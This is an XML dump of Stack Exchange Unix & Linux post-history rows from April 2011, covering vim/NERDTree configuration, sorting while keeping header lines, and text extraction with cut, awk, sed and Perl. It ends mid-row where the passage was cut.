  <row Id="28856" PostHistoryTypeId="2" PostId="11855" RevisionGUID="6903c2e9-8ad1-4661-b147-08b5053eef62" CreationDate="2011-04-22T23:50:57.440" UserId="6876" Text="I'm trying to get switch over to vim as my primary editor and I've installed the nerdTree plugin, but now when I try and use vimpager to replace less I get &#xD;&#xA;&#xD;&#xA;Error detected while processing VimEnter Auto commands for &quot;*&quot;:&#xD;&#xA;E492: Not an editor command: NERDTree  &#xD;&#xA;&#xD;&#xA;I've narrowed it down to this line in my .vimrc, but I don't know much about configuring vim, I got this .vimrc off the internet.&#xD;&#xA;&#xD;&#xA;autocmd VimEnter * NERDTree &#xD;&#xA;&#xD;&#xA;My best guess is that vimpager is trying to disable plugin, but the .vimrc is trying to load it, so they're getting an error.&#xD;&#xA;&#xD;&#xA;Any advise on resolving this?" />
  <row Id="28857" PostHistoryTypeId="1" PostId="11855" RevisionGUID="6903c2e9-8ad1-4661-b147-08b5053eef62" CreationDate="2011-04-22T23:50:57.440" UserId="6876" Text="Trying to get vimpager (to replace less) working with nerdTREE" />
  <row Id="28858" PostHistoryTypeId="3" PostId="11855" RevisionGUID="6903c2e9-8ad1-4661-b147-08b5053eef62" CreationDate="2011-04-22T23:50:57.440" UserId="6876" Text="élinuxàévimà" />
  <row Id="28859" PostHistoryTypeId="2" PostId="11856" RevisionGUID="611d97b3-ac66-4ad2-a510-d59a414df304" CreationDate="2011-04-23T00:05:05.443" UserId="3445" Text="I am getting output from a program that first produces one line that is a bunch of column headers, and then a bunch of lines of data. I want to cut various columns of this output and view it sorted according to various columns. Without the headers, the cutting and sorting is easily accomplished via the `-k` option to `sort` along with `cut` or `awk` to view a subset of the columns. However, this method of sorting mixes the column headers in with the rest of the lines of output. Is there an easy way to keep the headers at the top?" />
  <row Id="28860" PostHistoryTypeId="1" PostId="11856" RevisionGUID="611d97b3-ac66-4ad2-a510-d59a414df304" CreationDate="2011-04-23T00:05:05.443" UserId="3445" Text="sort but keep header line in the at the top?" />
  <row Id="28861" PostHistoryTypeId="3" PostId="11856" RevisionGUID="611d97b3-ac66-4ad2-a510-d59a414df304" CreationDate="2011-04-23T00:05:05.443" UserId="3445" Text="élinuxàésortà" />
  <row Id="28862" PostHistoryTypeId="5" PostId="11855" RevisionGUID="b2ac08e6-a5d6-4cb0-bf39-544981b88fd8" CreationDate="2011-04-23T00:08:41.260" UserId="885" Comment="formatting; tags" Text="I'm trying to get switch over to vim as my primary editor and I've installed the nerdTree plugin, but now when I try and use vimpager to replace less I get &#xD;&#xA;&#xD;&#xA;    Error detected while processing VimEnter Auto commands for &quot;*&quot;:&#xD;&#xA;    E492: Not an editor command: NERDTree  &#xD;&#xA;&#xD;&#xA;I've narrowed it down to this line in my `.vimrc`, but I don't know much about configuring vim, I got this `.vimrc` off the internet.&#xD;&#xA;&#xD;&#xA;    autocmd VimEnter * NERDTree &#xD;&#xA;&#xD;&#xA;My best guess is that vimpager is trying to disable plugin, but the `.vimrc` is trying to load it, so they're getting an error.&#xD;&#xA;&#xD;&#xA;Any advise on resolving this?&#xD;&#xA;" />
  <row Id="28863" PostHistoryTypeId="6" PostId="11855" RevisionGUID="b2ac08e6-a5d6-4cb0-bf39-544981b88fd8" CreationDate="2011-04-23T00:08:41.260" UserId="885" Comment="formatting; tags" Text="évimà" />
  <row Id="28864" PostHistoryTypeId="25" PostId="11855" RevisionGUID="3a472eb8-4b4f-4e81-9d8f-0be6c0b92258" CreationDate="2011-04-23T00:09:10.830" Comment="http://twitter.com/#!/StackUnix/status/61582349246271488" />
  <row Id="28865" PostHistoryTypeId="2" PostId="11857" RevisionGUID="cb7a8228-0978-4b60-a9ec-f3df582c2e56" CreationDate="2011-04-23T00:32:21.960" UserId="5931" Text="You can keep the header at the top like this with bash:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-bsh --&gt;&#xD;&#xA;&#xD;&#xA;    command | (read; echo &quot;$REPLY&quot;; sort)&#xD;&#xA;&#xD;&#xA;Or do it with perl:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-bsh --&gt;&#xD;&#xA;&#xD;&#xA;    command | perl -e 'print scalar (&lt;&gt;); print sort { ... } &lt;&gt;'" />
  <row Id="28866" PostHistoryTypeId="2" PostId="11858" RevisionGUID="18e1d929-4c5d-4742-8689-6d5381ea9220" CreationDate="2011-04-23T00:35:56.553" UserId="885" Text="Hackish but effective: prepend `0` to all header lines and `1` to all other lines before sorting. Strip the first character after sorting.&#xD;&#xA;&#xD;&#xA;    … |&#xD;&#xA;    awk '{print (NR &lt;= 2 ? &quot;0 &quot; : &quot;1 &quot;) $0}' |&#xD;&#xA;    sort -k 1 -k… |&#xD;&#xA;    cut -b 3-&#xD;&#xA;" />
  <row Id="28867" PostHistoryTypeId="6" PostId="11856" RevisionGUID="c0695487-4e01-4456-8b42-13059a67e38e" CreationDate="2011-04-23T00:36:34.617" UserId="885" Comment="edited tags" Text="étextöprocessingàésortàétableà" />
  <row Id="28868" PostHistoryTypeId="5" PostId="11306" RevisionGUID="1d20382e-051f-48cd-98c1-17c5fc0a3d34" CreationDate="2011-04-23T00:39:35.710" UserId="3169" Comment="added 186 characters in body" Text="[Sed](http://www.gnu.org/software/sed/manual/sed.html) is better for that.&#xD;&#xA;&#xD;&#xA;Just do:&#xD;&#xA;&#xD;&#xA;    sed '/PATTERN/q' FILE&#xD;&#xA;&#xD;&#xA;It works like this:&#xD;&#xA;&#xD;&#xA;For each line, we look if it matches `/PATTERN`:&#xD;&#xA;&#xD;&#xA; - if yes, we print it and quit&#xD;&#xA; - otherwise, we print it&#xD;&#xA;&#xD;&#xA;This is the most efficient solution, because as soon as it sees `PATTERN`, it quits.  Without `q`, sed would continue to read the rest of the file, and do nothing with it.  For big files it can make a difference.&#xD;&#xA;&#xD;&#xA;This trick can also be used to emulate `head`:&#xD;&#xA;&#xD;&#xA;    sed 10q FILE&#xD;&#xA;" />
  <row Id="28869" PostHistoryTypeId="2" PostId="11859" RevisionGUID="12dcc4f7-4532-4aec-bf7f-02787c982bbc" CreationDate="2011-04-23T00:44:54.443" UserId="3169" Text="Stealing Andy's idea and making it a function so it's easier to use:&#xD;&#xA;&#xD;&#xA;    header() {&#xD;&#xA;        read header&#xD;&#xA;        echo &quot;$header&quot;&#xD;&#xA;        &quot;$@&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Now I can do:&#xD;&#xA;&#xD;&#xA;    $ ps -o pid,comm | header sort -k2&#xD;&#xA;    PID COMMAND&#xD;&#xA;    24759 bash&#xD;&#xA;    30213 bash&#xD;&#xA;    25498 less&#xD;&#xA;    29793 less&#xD;&#xA;    25488 man&#xD;&#xA;    29784 man&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;    $ ps -o pid,comm | header grep less&#xD;&#xA;    PID COMMAND&#xD;&#xA;    25498 less&#xD;&#xA;    29793 less&#xD;&#xA;" />
  <row Id="28870" PostHistoryTypeId="5" PostId="11859" RevisionGUID="3526abe4-b4f9-482d-ba51-4babdefc7dae" CreationDate="2011-04-23T00:49:22.583" UserId="885" Comment="made more robust with input containing \ (read -r and no echo)" Text="Stealing Andy's idea and making it a function so it's easier to use:&#xD;&#xA;&#xD;&#xA;    header() {&#xD;&#xA;        read -r header&#xD;&#xA;        printf '%s\n' &quot;$header&quot;&#xD;&#xA;        &quot;$@&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Now I can do:&#xD;&#xA;&#xD;&#xA;    $ ps -o pid,comm | header sort -k2&#xD;&#xA;    PID COMMAND&#xD;&#xA;    24759 bash&#xD;&#xA;    30213 bash&#xD;&#xA;    25498 less&#xD;&#xA;    29793 less&#xD;&#xA;    25488 man&#xD;&#xA;    29784 man&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;    $ ps -o pid,comm | header grep less&#xD;&#xA;    PID COMMAND&#xD;&#xA;    25498 less&#xD;&#xA;    29793 less&#xD;&#xA;" />
  <row Id="28871" PostHistoryTypeId="5" PostId="11859" RevisionGUID="9e238055-26f5-4392-86c6-e9b186c5004c" CreationDate="2011-04-23T01:01:46.180" UserId="3169" Comment="add IFS to avoid skipping leading whitespace; added 4 characters in body" Text="Stealing Andy's idea and making it a function so it's easier to use:&#xD;&#xA;&#xD;&#xA;    # print the header (the first line of input)&#xD;&#xA;    # and then run the specified command on the body (the rest of the input)&#xD;&#xA;    # use it in a pipeline, e.g. ps | body grep somepattern&#xD;&#xA;    body() {&#xD;&#xA;        IFS= read -r header&#xD;&#xA;        printf '%s\n' &quot;$header&quot;&#xD;&#xA;        &quot;$@&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Now I can do:&#xD;&#xA;&#xD;&#xA;    $ ps -o pid,comm | body sort -k2&#xD;&#xA;      PID COMMAND&#xD;&#xA;    24759 bash&#xD;&#xA;    31276 bash&#xD;&#xA;    31032 less&#xD;&#xA;    31177 less&#xD;&#xA;    31020 man&#xD;&#xA;    31167 man&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;    $ ps -o pid,comm | body grep less&#xD;&#xA;      PID COMMAND&#xD;&#xA;    31032 less&#xD;&#xA;    31177 less&#xD;&#xA;" />
  <row Id="28872" PostHistoryTypeId="5" PostId="11857" RevisionGUID="3a022346-bea5-45f1-a0a3-48023002c58f" CreationDate="2011-04-23T01:53:01.873" UserId="5931" Comment="added 12 characters in body" Text="You can keep the header at the top like this with bash:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-bsh --&gt;&#xD;&#xA;&#xD;&#xA;    command | (read -r; printf &quot;%s\n&quot; &quot;$REPLY&quot;; sort)&#xD;&#xA;&#xD;&#xA;Or do it with perl:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-bsh --&gt;&#xD;&#xA;&#xD;&#xA;    command | perl -e 'print scalar (&lt;&gt;); print sort { ... } &lt;&gt;'" />
  <row Id="28873" PostHistoryTypeId="5" PostId="11830" RevisionGUID="6359e841-6733-4342-a1e6-ff643b4b70c2" CreationDate="2011-04-23T02:21:24.487" UserId="3519" Comment="added 58 characters in body" Text="[Awk][1] is beautiful with that sort of question. Try:&#xD;&#xA;&#xD;&#xA;    awk -F'[],] *' '{print $2}' cities&#xD;&#xA;&#xD;&#xA;This defines a field separator `-F` as `[],] *` - which means one occurence of either a closing square bracket or a comma, followed by zero or any number of spaces. Of course you can change that to suit any requirement. Read up on regular expressions.&#xD;&#xA;&#xD;&#xA;Once the line is split, you can do what you want with the split result. Here, I decided you print out the second field only with `print $2`. Note that it is important to use single quotes around the awk instructions otherwise $2 gets substituted by the shell.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/gawk/manual/" />
  <row Id="28874" PostHistoryTypeId="2" PostId="11860" RevisionGUID="f356f3dd-b09b-48c0-a2fb-8905a8a04525" CreationDate="2011-04-23T02:43:22.027" UserId="6767" Text="To get better clues, before you run `dhclient`, run `iwconfig` with no arguments.  That will display the current wireless status, showing whether you are properly associated with the access point.&#xD;&#xA;&#xD;&#xA;If you see Xephyr made a difference, see whether `iwconfig` reveals that difference.  And if still stuck, post your iwconfig results, which should look like http://en.wikipedia.org/wiki/Wireless_tools_for_Linux#iwconfig" />
  <row Id="28875" PostHistoryTypeId="5" PostId="11830" RevisionGUID="545f76b2-500d-461b-b0e0-489abbab9b2b" CreationDate="2011-04-23T02:59:56.137" UserId="3519" Comment="added 52 characters in body; deleted 1 characters in body" Text="[Awk][1] (also check [Awk Info][2]) is beautiful with that sort of question. Try:&#xD;&#xA;&#xD;&#xA;    awk -F'[],] *' '{print $2}' cities&#xD;&#xA;&#xD;&#xA;This defines a field separator `-F` as `[],] *` - which means one occurence of either a closing square bracket or a comma, followed by zero or any number of spaces. Of course you can change that to suit any requirement. Read up on regular expressions.&#xD;&#xA;&#xD;&#xA;Once the line is split, you can do what you want with the split result. Here, I decided to print out the second field only with `print $2`. Note that it is important to use single quotes around the awk instructions otherwise $2 gets substituted by the shell.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/gawk/manual/&#xD;&#xA;  [2]: http://awk.info/" />
  <row Id="28876" PostHistoryTypeId="25" PostId="11856" RevisionGUID="6983b143-1552-40e8-a45e-945ee485ccc4" CreationDate="2011-04-23T03:09:10.747" Comment="http://twitter.com/#!/StackUnix/status/61627647620415488" />
  <row Id="28877" PostHistoryTypeId="2" PostId="11861" RevisionGUID="d7d88bbf-7c33-4dbc-ab50-34bbee9c96fe" CreationDate="2011-04-23T03:10:02.297" UserId="3169" Text="I normally use Perl when it gets a little bit complicated.&#xD;&#xA;&#xD;&#xA;There's a number of ways you could write it, depending on the exact input format, (e.g. is it guaranteed to have just one space between each field, etc).&#xD;&#xA;&#xD;&#xA;One obvious way (assumes id is numeric, city is alphabetic, status is alphabetic):&#xD;&#xA;&#xD;&#xA;    while (&lt;&gt;) {&#xD;&#xA;        if (/^(\[\d+\]) (\w+(?: \w+)*, (?:\w+)) (\(\w*\))$/) {&#xD;&#xA;            my ($id, $city, $status) = ($1, $2, $3);&#xD;&#xA;            print &quot;$id $status\n&quot;;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Or slower but more permissive (does more backtracking):&#xD;&#xA;&#xD;&#xA;    while (&lt;&gt;) {&#xD;&#xA;        if (/^(\[.*\])(\s+)(.*)(\s+)(\(.*\))$/) {&#xD;&#xA;            my ($id, $city, $status) = ($1, $2, $3);&#xD;&#xA;            print &quot;$id $status\n&quot;;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Or faster (field stops at first occurrence of closing bracket):&#xD;&#xA;&#xD;&#xA;    while (&lt;&gt;) {&#xD;&#xA;        if (/^(\[[^]]*\])([^(]*)(\([^)]*\))$/) {&#xD;&#xA;            my ($id, $middle, $status) = ($1, $2, $3);&#xD;&#xA;            print &quot;$id $status\n&quot;;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Or the first form with comments:&#xD;&#xA;&#xD;&#xA;    while (&lt;&gt;) {&#xD;&#xA;        if (/&#xD;&#xA;            ^&#xD;&#xA;            (\[\d+\])             # [number]&#xD;&#xA;            \s&#xD;&#xA;            (\w+                  # first word of city&#xD;&#xA;            (?:\s\w+)*            # optional second, third, etc. word&#xD;&#xA;            ,&#xD;&#xA;            \s&#xD;&#xA;            (?:\w+))              # country&#xD;&#xA;            \s&#xD;&#xA;            (\(\w*\))             # (status)&#xD;&#xA;            $&#xD;&#xA;            /x) {&#xD;&#xA;            my ($id, $city, $status) = ($1, $2, $3);&#xD;&#xA;            print &quot;$id $status\n&quot;;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Output:&#xD;&#xA;&#xD;&#xA;    [1598] (inactive)&#xD;&#xA;    [4517] (inactive)&#xD;&#xA;    [6346] (inactive)&#xD;&#xA;" />
  <row Id="28878" PostHistoryTypeId="2" PostId="11862" RevisionGUID="936a781d-80bb-40dc-9e6e-bf00465e5e2e" CreationDate="2011-04-23T03:15:51.953" UserId="6877" Text="Support for pppoe is included in NetworkManager" />
  <row Id="28879" PostHistoryTypeId="2" PostId="11863" RevisionGUID="9a2023cc-40ef-4521-92ba-f22563ae9f0e" CreationDate="2011-04-23T04:07:18.857" UserId="3519" Text="What is not clear in your question is whether you talk about text and vector graphics in your pdf, or whether your pdf contains embedded images.&#xD;&#xA;&#xD;&#xA;Having read what gscan2pdf is about, my guess is that your pdf files contain (only) embedded graphics.&#xD;&#xA;&#xD;&#xA;`convert` essentially &quot;prints&quot; your pdf without regards for what the contents is. Like @cjm suggests, you might want to change the print density. This is the only way to increase quality for vector graphics.&#xD;&#xA;&#xD;&#xA;If instead, what you want to do is extract embedded images (much like gscan2pdf seems to do), guessing the density will usually lead to either quality loss or higher quality than required (and waste of disk space). The answer then is to extract the image rather than print the pdf. [See this article][1] which basically advocates the use of `pdfimage` in order to extract images without quality loss.&#xD;&#xA;&#xD;&#xA;  [1]: http://stefaanlippens.net/extract-images-from-pdf-documents" />
  <row Id="28880" PostHistoryTypeId="5" PostId="11815" RevisionGUID="94dcea61-4e99-4a54-9b91-a99c2c89cf77" CreationDate="2011-04-23T04:26:54.627" UserId="3125" Comment="added 47 characters in body" Text="I have a file `cities` like this:&#xD;&#xA;&#xD;&#xA;    [1598] San Diego, US (inactive)&#xD;&#xA;    [4517] St Louis, US (inactive)&#xD;&#xA;    [6346] Orlando, US (inactive)&#xD;&#xA;&#xD;&#xA;I want to cut out the city names:&#xD;&#xA;&#xD;&#xA;    San Diego&#xD;&#xA;    St Louis&#xD;&#xA;    Orlando&#xD;&#xA;&#xD;&#xA;This is the best I could come up with:&#xD;&#xA;&#xD;&#xA;    cut -d ',' -f1 cities | cut -d ']' -f2&#xD;&#xA;&#xD;&#xA;But that still leaves me with a space before the names. Is there a `cut` like command that I can use that accept delimiters of several characters so I can cut on `] `?" />
  <row Id="28881" PostHistoryTypeId="2" PostId="11864" RevisionGUID="4b245f3d-3222-4ef6-acb4-d7dbf21e42b5" CreationDate="2011-04-23T04:58:16.567" UserId="6771" Text="Hello everyone,&#xD;&#xA;  I want to know how to calculate the cpu utilization and memory utilization of process using the /proc/stat and /proc/status files.Can I  calculate the total memory and cpu  a user is using?&#xD;&#xA;&#xD;&#xA;Thanx in advance.....  " />
  <row Id="28882" PostHistoryTypeId="1" PostId="11864" RevisionGUID="4b245f3d-3222-4ef6-acb4-d7dbf21e42b5" CreationDate="2011-04-23T04:58:16.567" UserId="6771" Text="calculating memory and cpu utilization" />
  <row Id="28883" PostHistoryTypeId="3" PostId="11864" RevisionGUID="4b245f3d-3222-4ef6-acb4-d7dbf21e42b5" CreationDate="2011-04-23T04:58:16.567" UserId="6771" Text="élinuxà" />
  <row Id="28884" PostHistoryTypeId="5" PostId="11815" RevisionGUID="032a2db0-46e1-42d9-b0f5-30d6ffa52662" CreationDate="2011-04-23T05:01:50.637" UserId="3169" Comment="use words other than &quot;cut&quot; to clarify" Text="I have a file `cities` like this:&#xD;&#xA;&#xD;&#xA;    [1598] San Diego, US (inactive)&#xD;&#xA;    [4517] St Louis, US (inactive)&#xD;&#xA;    [6346] Orlando, US (inactive)&#xD;&#xA;&#xD;&#xA;I want to print only the city names:&#xD;&#xA;&#xD;&#xA;    San Diego&#xD;&#xA;    St Louis&#xD;&#xA;    Orlando&#xD;&#xA;&#xD;&#xA;This is the best I could come up with:&#xD;&#xA;&#xD;&#xA;    cut -d ',' -f1 cities | cut -d ']' -f2&#xD;&#xA;&#xD;&#xA;But that still leaves me with a space before the names. Is there a `cut` like command that I can use that accept delimiters of several characters so I can cut on `] `?" />
  <row Id="28885" PostHistoryTypeId="5" PostId="11861" RevisionGUID="701cd37e-cdee-4157-8c3e-6bef713f9cd1" CreationDate="2011-04-23T05:16:28.353" UserId="3169" Comment="don't capture fields we aren't going to print (should make things easier to understand)" Text="I normally use Perl when things get too hard for sed and grep.&#xD;&#xA;&#xD;&#xA;There's a number of ways you could write it in Perl.  For example, you might prefer it to be fast, or might prefer it to handle input that has two spaces instead of one.&#xD;&#xA;&#xD;&#xA;One obvious way (assumes id is numeric, city is alphabetic, status is alphabetic):&#xD;&#xA;&#xD;&#xA;    while (&lt;&gt;) {&#xD;&#xA;        if (/^\[\d+\] (\w+(?: \w+)*), \w+ \(\w*\)$/) {&#xD;&#xA;            my $city = $1;&#xD;&#xA;            print &quot;$city\n&quot;;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Or slower but more permissive (does more backtracking):&#xD;&#xA;&#xD;&#xA;    while (&lt;&gt;) {&#xD;&#xA;        if (/^.*\]\s+(.*),.*$/) {&#xD;&#xA;            my $city = $1;&#xD;&#xA;            print &quot;$city\n&quot;;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Or faster (field stops at first occurrence of closing bracket):&#xD;&#xA;&#xD;&#xA;    while (&lt;&gt;) {&#xD;&#xA;        if (/^\[[^]]*\] ([^,]*), \S+ \([^)]*\)$/) {&#xD;&#xA;            my $city = $1;&#xD;&#xA;            print &quot;$city\n&quot;;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;" />
  <row Id="28886" PostHistoryTypeId="5" PostId="11861" RevisionGUID="522d3f31-70a4-4166-b296-457c06512ea6" CreationDate="2011-04-23T05:22:08.023" UserId="3169" Comment="added 46 characters in body" Text="I normally use Perl when things get too hard for sed and grep.&#xD;&#xA;&#xD;&#xA;There are a number of ways you could write it in Perl.  For example, you might prefer it to be fast, or you might prefer it to handle slight unexpected problems in the input (e.g. two spaces where one was expected).&#xD;&#xA;&#xD;&#xA;One obvious way (assumes id is numeric, city is alphabetic, status is alphabetic):&#xD;&#xA;&#xD;&#xA;    while (&lt;&gt;) {&#xD;&#xA;        if (/^\[\d+\] (\w+(?: \w+)*), \w+ \(\w*\)$/) {&#xD;&#xA;            my $city = $1;&#xD;&#xA;            print &quot;$city\n&quot;;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Or slower but more permissive (does more backtracking):&#xD;&#xA;&#xD;&#xA;    while (&lt;&gt;) {&#xD;&#xA;        if (/^.*\]\s+(.*),.*$/) {&#xD;&#xA;            my $city = $1;&#xD;&#xA;            print &quot;$city\n&quot;;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Or faster (field stops at first occurrence of closing bracket):&#xD;&#xA;&#xD;&#xA;    while (&lt;&gt;) {&#xD;&#xA;        if (/^\[[^]]*\] ([^,]*), \S+ \([^)]*\)$/) {&#xD;&#xA;            my $city = $1;&#xD;&#xA;            print &quot;$city\n&quot;;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;" />
  <row Id="28887" PostHistoryTypeId="5" PostId="11864" RevisionGUID="bd6d40de-c1e8-48e6-87bc-5957c5a51865" CreationDate="2011-04-23T05:49:10.797" UserId="688" Comment="deleted 55 characters in body; edited title" Text="I want to know how to calculate CPU and memory utilization of a process using the `/proc/stat` and `/proc/status` files. Can I  calculate the total memory and CPU  a user is using?" />
  <row Id="28888" PostHistoryTypeId="4" PostId="11864" RevisionGUID="bd6d40de-c1e8-48e6-87bc-5957c5a51865" CreationDate="2011-04-23T05:49:10.797" UserId="688" Comment="deleted 55 characters in body; edited title" Text="Calculating memory and CPU utilization" />
  <row Id="28889" PostHistoryTypeId="25" PostId="11832" RevisionGUID="9bf507e5-2913-472c-b7c2-74bdb640170f" CreationDate="2011-04-23T06:09:10.600" Comment="http://twitter.com/#!/StackUnix/status/61672946200084481" />
  <row Id="28890" PostHistoryTypeId="2" PostId="11865" RevisionGUID="09e33872-9027-45ec-a24a-34f99dd950cb" CreationDate="2011-04-23T06:32:48.970" UserId="1010" Text="Here's some magic perl line noise that you can pipe your output through to sort everything but keep the first line at the top: `perl -e 'print scalar &lt;&gt;, sort &lt;&gt;;'`" />
  <row Id="28891" PostHistoryTypeId="8" PostId="11815" RevisionGUID="fc37c36b-142a-4a9f-a7f5-0c64741f9ef7" CreationDate="2011-04-23T06:54:22.483" UserId="3125" Comment="Rollback to [94dcea61-4e99-4a54-9b91-a99c2c89cf77]" Text="I have a file `cities` like this:&#xD;&#xA;&#xD;&#xA;    [1598] San Diego, US (inactive)&#xD;&#xA;    [4517] St Louis, US (inactive)&#xD;&#xA;    [6346] Orlando, US (inactive)&#xD;&#xA;&#xD;&#xA;I want to cut out the city names:&#xD;&#xA;&#xD;&#xA;    San Diego&#xD;&#xA;    St Louis&#xD;&#xA;    Orlando&#xD;&#xA;&#xD;&#xA;This is the best I could come up with:&#xD;&#xA;&#xD;&#xA;    cut -d ',' -f1 cities | cut -d ']' -f2&#xD;&#xA;&#xD;&#xA;But that still leaves me with a space before the names. Is there a `cut` like command that I can use that accept delimiters of several characters so I can cut on `] `?" />
  <row Id="28892" PostHistoryTypeId="2" PostId="11866" RevisionGUID="31ef50b0-6a05-40e9-a27e-225f3dc64077" CreationDate="2011-04-23T06:59:44.827" UserId="3879" Text="You can check the `/proc/meminfo` file:&#xD;&#xA;&#xD;&#xA;    cat /proc/meminfo | head -2&#xD;&#xA;    MemTotal:        2026816 kB&#xD;&#xA;    MemFree:          377524 kB&#xD;&#xA;    &#xD;&#xA;Using the above two entries you can calculate how much memory is being used at the moment." />
  <row Id="28893" PostHistoryTypeId="5" PostId="11815" RevisionGUID="0c605d53-da51-4785-8a9d-2971b71b6413" CreationDate="2011-04-23T07:05:42.280" UserId="3125" Comment="added 16 characters in body" Text="I have a file `cities` like this:&#xD;&#xA;&#xD;&#xA;    [1598] San Diego, US (inactive)&#xD;&#xA;    [4517] St Louis, US (inactive)&#xD;&#xA;    [6346] Orlando, US (inactive)&#xD;&#xA;&#xD;&#xA;I want to cut out the city names, so that I have:&#xD;&#xA;&#xD;&#xA;    San Diego&#xD;&#xA;    St Louis&#xD;&#xA;    Orlando&#xD;&#xA;&#xD;&#xA;This is the best I could come up with:&#xD;&#xA;&#xD;&#xA;    cut -d ',' -f1 cities | cut -d ']' -f2&#xD;&#xA;&#xD;&#xA;But that still leaves me with a space before the names. Is there a `cut` like command that I can use that accept delimiters of several characters so I can cut on `] `?" />
  <row Id="28894" PostHistoryTypeId="5" PostId="11866" RevisionGUID="2e9df697-b3cd-4bc5-a94b-6ae9a8c40d2a" CreationDate="2011-04-23T07:05:47.293" UserId="3879" Comment="Code" Text="You can check the `/proc/meminfo` file:&#xD;&#xA;&#xD;&#xA;    cat /proc/meminfo | head -2&#xD;&#xA;    MemTotal:        2026816 kB&#xD;&#xA;    MemFree:          377524 kB&#xD;&#xA;    &#xD;&#xA;Using the above two entries you can calculate how much memory is being used at the moment:&#xD;&#xA;&#xD;&#xA;    cat /proc/meminfo | head -2 | awk 'NR == 1 { total = $2 } NR == 2 { free = $2 } END { print total, free, total - free }'" />
  <row Id="28895" PostHistoryTypeId="5" PostId="11861" RevisionGUID="5c312626-b2b8-4b3f-a8a1-5cb5e175c8d7" CreationDate="2011-04-23T07:21:14.233" UserId="3169" Comment="added 263 characters in body" Text="I normally use Perl when things get too hard for sed and grep.&#xD;&#xA;&#xD;&#xA;There are a number of ways you could write it in Perl.  For example, you might prefer it to be fast, or you might prefer it to handle slight unexpected problems in the input (e.g. two spaces where one was expected).&#xD;&#xA;&#xD;&#xA;One obvious way (assumes id is numeric, city is alphabetic, status is alphabetic):&#xD;&#xA;&#xD;&#xA;    while (&lt;&gt;) {&#xD;&#xA;        if (/^\[\d+\] (\w+(?: \w+)*), \w+ \(\w*\)$/) {&#xD;&#xA;            my $city = $1;&#xD;&#xA;            print &quot;$city\n&quot;;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Or slower but more permissive (does more backtracking):&#xD;&#xA;&#xD;&#xA;    while (&lt;&gt;) {&#xD;&#xA;        if (/^.*\]\s+(.*),.*$/) {&#xD;&#xA;            my $city = $1;&#xD;&#xA;            print &quot;$city\n&quot;;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Or faster (field stops at first occurrence of closing bracket):&#xD;&#xA;&#xD;&#xA;    while (&lt;&gt;) {&#xD;&#xA;        if (/^\[[^]]*\] ([^,]*), \S+ \([^)]*\)$/) {&#xD;&#xA;            my $city = $1;&#xD;&#xA;            print &quot;$city\n&quot;;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;If you want the usage to resemble cut, you can use the `-F` option, which is similar to awk's `-F` option, for example:&#xD;&#xA;&#xD;&#xA;    perl -a -n -F'/[],]\s+/' -e 'print $F[1], &quot;\n&quot;' cities&#xD;&#xA;&#xD;&#xA;This way obviously assumes that no field will contain any of the delimiters." />
  <row Id="28896" PostHistoryTypeId="5" PostId="11861" RevisionGUID="34093ca9-62dc-4ecf-a8c2-405f9cd92492" CreationDate="2011-04-23T07:26:40.953" UserId="3169" Comment="added 217 characters in body" Text="I normally use Perl when things get too hard for sed and grep.&#xD;&#xA;&#xD;&#xA;There are a number of ways you could write it in Perl.  For example, you might prefer it to be fast, or you might prefer it to handle slight unexpected problems in the input (e.g. two spaces where one was expected).&#xD;&#xA;&#xD;&#xA;One obvious way (assumes id is numeric, city is alphabetic, status is alphabetic):&#xD;&#xA;&#xD;&#xA;    while (&lt;&gt;) {&#xD;&#xA;        if (/^\[\d+\] (\w+(?: \w+)*), \w+ \(\w*\)$/) {&#xD;&#xA;            my $city = $1;&#xD;&#xA;            print &quot;$city\n&quot;;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Or slower but more permissive (does more backtracking):&#xD;&#xA;&#xD;&#xA;    while (&lt;&gt;) {&#xD;&#xA;        if (/^.*\]\s+(.*),.*$/) {&#xD;&#xA;            my $city = $1;&#xD;&#xA;            print &quot;$city\n&quot;;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Or faster (field stops at first occurrence of closing bracket):&#xD;&#xA;&#xD;&#xA;    while (&lt;&gt;) {&#xD;&#xA;        if (/^\[[^]]*\] ([^,]*), \S+ \([^)]*\)$/) {&#xD;&#xA;            my $city = $1;&#xD;&#xA;            print &quot;$city\n&quot;;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;From the command line rather than a script, you could use the `-n` option, which basically adds the `while (&lt;&gt;) { BLOCK }` loop:&#xD;&#xA;&#xD;&#xA;    perl -ne '/^\[[^]]*\] ([^,]*), \S+ \([^)]*\)$/ and print $1, &quot;\n&quot;;' cities&#xD;&#xA;&#xD;&#xA;or if you want the usage to resemble cut, you can use the `-F` option, which is similar to awk's `-F` option, 